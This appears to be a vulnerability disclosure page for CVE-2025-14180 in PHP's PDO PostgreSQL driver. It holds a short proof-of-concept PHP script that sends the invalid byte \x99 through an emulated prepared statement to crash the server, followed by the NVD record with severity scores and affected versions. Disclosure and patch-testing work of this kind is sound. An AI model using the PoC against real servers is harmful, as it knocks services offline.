CVE-2025-14180

<?php // CVE-2025-14180 PoC - PHP PDO PostgreSQL Null Pointer Dereference // Target: PHP 8.1.* < 8.1.34, 8.2.* < 8.2.30, 8.3.* < 8.3.29, 8.4.* < 8.4.16, 8.5.* < 8.5.1 try { // Connect to PostgreSQL database with PDO $dsn = 'pgsql:host=localhost;port=5432;dbname=testdb'; $username = 'testuser'; $password = 'testpass'; $pdo = new PDO($dsn, $username, $password); // Enable emulate prepares (required for vulnerability) $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); // Prepare statement with parameter $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username'); // Trigger vulnerability with invalid character sequence (\x99) // This causes PQescapeStringConn to return NULL // Leading to null pointer dereference in pdo_parse_params() $malicious_param = "test\x99user"; $stmt->execute([':username' => $malicious_param]); echo "PoC executed - check for crash\n"; } catch (PDOException $e) { echo "PDO Exception: " . $e->getMessage() . "\n"; } ?>

{"cve": {"id": "CVE-2025-14180", "sourceIdentifier": "[email protected]", "published": "2025-12-27T20:15:40.717", "lastModified": "2026-01-09T20:23:40.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In PHP versions 8.1.* before 8.1.34, 8.2.* before 8.2.30, 8.3.* before 8.3.29, 8.4.* before 8.4.16, 8.5.* before 8.5.1 when using the PDO PostgreSQL driver with PDO::ATTR_EMULATE_PREPARES enabled, an invalid character sequence (such as \\x99) in a prepared statement parameter may cause the quoting function PQescapeStringConn to return NULL, leading to a null pointer dereference in pdo_parse_params() function. This may lead to crashes (segmentation fault) and affect the availability of the target server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.34", "matchCriteriaId": "56FCF002-3946-40DF-A774-75C6DDE6CA26"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.30", "matchCriteriaId": "AB314013-4F2F-40F0-968B-35FEC22CC8A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "8.3.29", "matchCriteriaId": "DAD5402D-688D-44AA-B083-5157FDC53D7A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndExcluding": "8.4.16", "matchCriteriaId": "8813328B-AC06-4060-916F-CD27144F41E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.0", "versionEndExcluding": "8.5.1", "matchCriteriaId": "E56CD990-B79E-4253-B810-13787B23B028"}]}]}], "references": [{"url": "https://github.com/php/php-src/security/advisories/GHSA-8xr5-qppj-gvwj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}